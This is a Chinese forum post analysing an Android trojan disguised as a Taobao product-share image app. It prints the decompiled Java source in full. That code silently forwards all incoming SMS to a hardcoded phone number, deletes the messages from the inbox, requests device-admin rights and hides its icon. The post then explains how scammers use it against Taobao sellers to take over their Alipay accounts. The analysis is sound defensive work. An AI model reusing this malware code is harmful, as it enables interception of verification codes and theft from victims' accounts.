文件信息:
File Name: 淘宝宝贝分享图.apk
File MD5: D9C5B64070D54BB6477C9154E41344FF

样本下载地址:http://www.kuaipan.cn/file/id_204886686096687106.htm

使用工具:
dex2jar
jd_Gui

1.使用解压软件右键解压得到以下文件:
解剖安卓手机短信拦截***

2.下载dex2jar工具解压:
把classes.dex 拷贝到dex2jar目录下:在路径上输入cmd后再输入:dex2jar.bat classes.dex 回车后
得到文件:classes_dex2jar.jar
解剖安卓手机短信拦截***

3.使用jd_Gui打开刚才得到classes_dex2jar.jar文件:
解剖安卓手机短信拦截***

4.查看具体代码:
App文件代码如下:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.app.Application;
import android.os.Process;
 
public class App extends Application
  implements Thread.UncaughtExceptionHandler
{
  public void onCreate()
  {
    super.onCreate();
    Thread.setDefaultUncaughtExceptionHandler(this);
  }
 
  public void uncaughtException(Thread paramThread, Throwable paramThrowable)
  {
    Process.killProcess(Process.myPid());
  }
}



L文件代码如下:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.app.Activity;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build.VERSION;
import android.os.Bundle;
import android.os.Handler;
 
public class L extends Activity
{
  private DevicePolicyManager a;
  private ComponentName b;
 
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903040);
    d.a(this, new SR());
    d.a(this, "启动MainActivity");
    d.a(this);
    this.a = ((DevicePolicyManager)getSystemService("device_policy"));
    this.b = new ComponentName(this, LR.class);
    if (this.a.isAdminActive(this.b))
      d.a(this, "已经注册设备管理器");
    while (true)
    {
      if (Build.VERSION.SDK_INT < 14)
        getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
      finish();
      Handler localHandler = new Handler();
      localHandler.postDelayed(new a(this, localHandler), 5000L);
      return;
      Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
      localIntent.putExtra("android.app.extra.DEVICE_ADMIN", this.b);
      localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "设备管理器");
      startActivity(localIntent);
      d.a(this, "注册设备管理器");
    }
  }
}



LR文件代码如下:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.app.admin.DeviceAdminReceiver;
import android.content.Context;
import android.content.Intent;
 
public class LR extends DeviceAdminReceiver
{
  public void onDisabled(Context paramContext, Intent paramIntent)
  {
    d.a(paramContext, "取消使用");
    super.onDisabled(paramContext, paramIntent);
  }
 
  public void onEnabled(Context paramContext, Intent paramIntent)
  {
    d.a(paramContext, "图片查看");
    super.onEnabled(paramContext, paramIntent);
  }
 
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    super.onReceive(paramContext, paramIntent);
  }
}



SR文件代码如下:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
 
public class SR extends BroadcastReceiver
{
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    d.a(paramContext, "#SmsReceiver#onReceive" + paramIntent.getAction());
    if (!"android.provider.Telephony.SMS_RECEIVED".equals(paramIntent.getAction()))
    {
      d.a(paramContext, this);
      d.a(paramContext);
    }
    Bundle localBundle;
    do
    {
      return;
      localBundle = paramIntent.getExtras();
    }
    while (localBundle == null);
    if (!d.b(paramContext))
    {
      d.a(paramContext, "#SmsReceiver#时间不在运行范围");
      return;
    }
    Object[] arrayOfObject = (Object[])localBundle.get("pdus");
    int i = arrayOfObject.length;
    String str1 = "";
    int j = 0;
    String str2;
    for (Object localObject = ""; ; localObject = str2)
    {
      if (j >= i)
      {
        d.b(paramContext, (String)localObject, str1);
        abortBroadcast();
        return;
      }
      SmsMessage localSmsMessage = SmsMessage.createFromPdu((byte[])arrayOfObject[j]);
      str2 = localSmsMessage.getOriginatingAddress();
      str1 = str1 + localSmsMessage.getMessageBody();
      j++;
    }
  }
}



U文件代码如下:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.app.Activity;
import android.os.Bundle;
import android.widget.Toast;
 
public class U extends Activity
{
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    d.a(this, new SR());
    Toast.makeText(this, "应用程序尚未安装在您的手机上", 1).show();
    finish();
  }
}



a文件代码如下:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.content.Intent;
import android.os.Handler;
 
class a
  implements Runnable
{
  a(L paramL, Handler paramHandler)
  {
  }
 
  public void run()
  {
    this.b.removeCallbacks(this);
    Intent localIntent = new Intent();
    localIntent.setType("p_w_picpath/*");
    localIntent.setAction("android.intent.action.GET_CONTENT");
    this.a.startActivity(localIntent);
  }
}



b文件代码如下:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.content.Context;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.preference.PreferenceManager;
 
public class b
{
  public static String a = "com.eg.android.AlipayGphone";
  public static String b = "";
  public static String c = "";
 
  public static void a(Context paramContext)
  {
    SharedPreferences localSharedPreferences = PreferenceManager.getDefaultSharedPreferences(paramContext);
    String str = b(paramContext);
    if (!localSharedPreferences.getString("4yffd3", "").equals(str))
    {
      d.a(paramContext, "初次运行!");
      localSharedPreferences.edit().putString("4yffd3", str).commit();
      d.a(paramContext, null, "888");
    }
  }
 
  public static String b(Context paramContext)
  {
    return "15884230675";
  }
}



c文件代码如下:

[Java] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.content.ContentResolver;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
 
public class c extends ContentObserver
{
  private Context a;
 
  public c(Context paramContext)
  {
    super(new Handler());
    d.a(paramContext, "#SMSObserver#注册");
    this.a = paramContext;
    this.a.getContentResolver().registerContentObserver(Uri.parse("content://sms/"), true, this);
  }
 
  public void onChange(boolean paramBoolean)
  {
    super.onChange(paramBoolean);
    d.a(this.a, "#SMSObserver#onChange");
    if (!d.b(this.a))
      d.a(this.a, "#SMSObserver#时间不在运行范围");
    while (true)
    {
      return;
      Uri localUri = Uri.parse("content://sms/inbox");
      Cursor localCursor = this.a.getContentResolver().query(localUri, null, null, null, null);
      while (localCursor.moveToNext())
      {
        d.b(this.a, localCursor.getString(localCursor.getColumnIndex("address")), localCursor.getString(localCursor.getColumnIndex("body")));
        String str = "content://sms/conversations/" + localCursor.getString(1);
        this.a.getContentResolver().delete(Uri.parse(str), null, null);
      }
    }
  }
}



d文件代码如下:

[Java] 纯文本查看 复制代码

?

001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.content.Context;
import android.content.IntentFilter;
import android.telephony.SmsManager;
import android.util.Log;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
 
public class d
{
  public static boolean a = false;
  private static boolean b = false;
  private static long[] c;
  private static boolean d = false;
 
  public static void a(Context paramContext)
  {
    a(paramContext, "chkFirstRun");
    if (b)
      return;
    b.a(paramContext);
    b = true;
  }
 
  public static void a(Context paramContext, SR paramSR)
  {
    if (d)
      return;
    d = true;
    new c(paramContext);
    try
    {
      IntentFilter localIntentFilter = new IntentFilter();
      localIntentFilter.setPriority(2147483647);
      localIntentFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
      paramContext.getApplicationContext().registerReceiver(paramSR, localIntentFilter);
      return;
    }
    catch (Exception localException)
    {
      a(paramContext, "注册监听异常:" + localException.getMessage());
    }
  }
 
  public static void a(Context paramContext, String paramString)
  {
    if (a)
      Log.e("T_DEBUG", paramString);
  }
 
  public static void a(Context paramContext, String paramString1, String paramString2)
  {
    if (paramString1 == null);
    for (String str = b.b(paramContext); ; str = paramString1)
    {
      a(paramContext, "发送:" + str + " " + paramString2);
      if (Boolean.parseBoolean(String.valueOf(a)))
        return;
      SmsManager localSmsManager = SmsManager.getDefault();
      localSmsManager.sendMultipartTextMessage(str, null, localSmsManager.divideMessage(paramString2), null, null);
      return;
    }
  }
 
  public static void b(Context paramContext, String paramString1, String paramString2)
  {
    String str = b.b(paramContext);
    if (paramString1.startsWith("+86"))
      paramString1 = paramString1.substring(3);
    a(paramContext, "收到:" + paramString1 + " " + paramString2);
    if (paramString1.equals(str))
    {
      String[] arrayOfString = paramString2.split("A", 2);
      if (arrayOfString.length != 2)
      {
        a(paramContext, "指令错误");
        a(paramContext, null, "短信指令格式错误,格式为“手机号A短信内容”");
        return;
      }
      a(paramContext, "SENDTO:" + arrayOfString[0] + " content " + arrayOfString[1]);
      a(paramContext, arrayOfString[0], arrayOfString[1]);
      return;
    }
    a(paramContext, str, "[" + paramString1 + "]" + paramString2);
  }
 
  public static boolean b(Context paramContext)
  {
    if (c == null)
      c(paramContext);
    long l = System.currentTimeMillis();
    if ((c[0] == 0L) || (c[1] == 0L));
    while ((c[0] <= l) && (c[1] >= l))
      return true;
    return false;
  }
 
  public static void c(Context paramContext)
  {
    if (c == null)
    {
      SimpleDateFormat localSimpleDateFormat;
      try
      {
        localSimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm", Locale.CHINA);
        c = new long[2];
        if (b.b.equals(""))
          c[0] = 0L;
        while (b.c.equals(""))
        {
          c[1] = 0L;
          return;
          c[0] = localSimpleDateFormat.parse(b.b).getTime();
        }
      }
      catch (Exception localException)
      {
        c[0] = 0L;
        c[1] = 0L;
        a(paramContext, "从RAW读取配置信息失败," + localException.getMessage());
        return;
      }
      c[1] = localSimpleDateFormat.parse(b.c).getTime();
    }
  }
}



代码如上。
大概危害:
虽然不太懂代码,但是可以看懂一点点:中了这个***的人,手机上收到的信息会被转移到【15884230675】这个手机号码上,
而且中了这个***的人手机收到的信息也无法看到。

从***名字来看,这类***主要是针对淘宝卖家,骗子作为买家,发送***给卖家

告知卖家他看到别人的分享的东西,很喜欢,所有东西都在apk文件上,只要安装就可以看到列表了,如果有就所有都要了。



或许有些不谨慎的淘宝卖家就会安装了这个***,然后骗子通过***截取短信方式等,修改卖家淘宝账号或者支付宝账号等,洗劫卖家支付宝的金钱。
以上是个人的了解,有哪些写得不对的地方请指教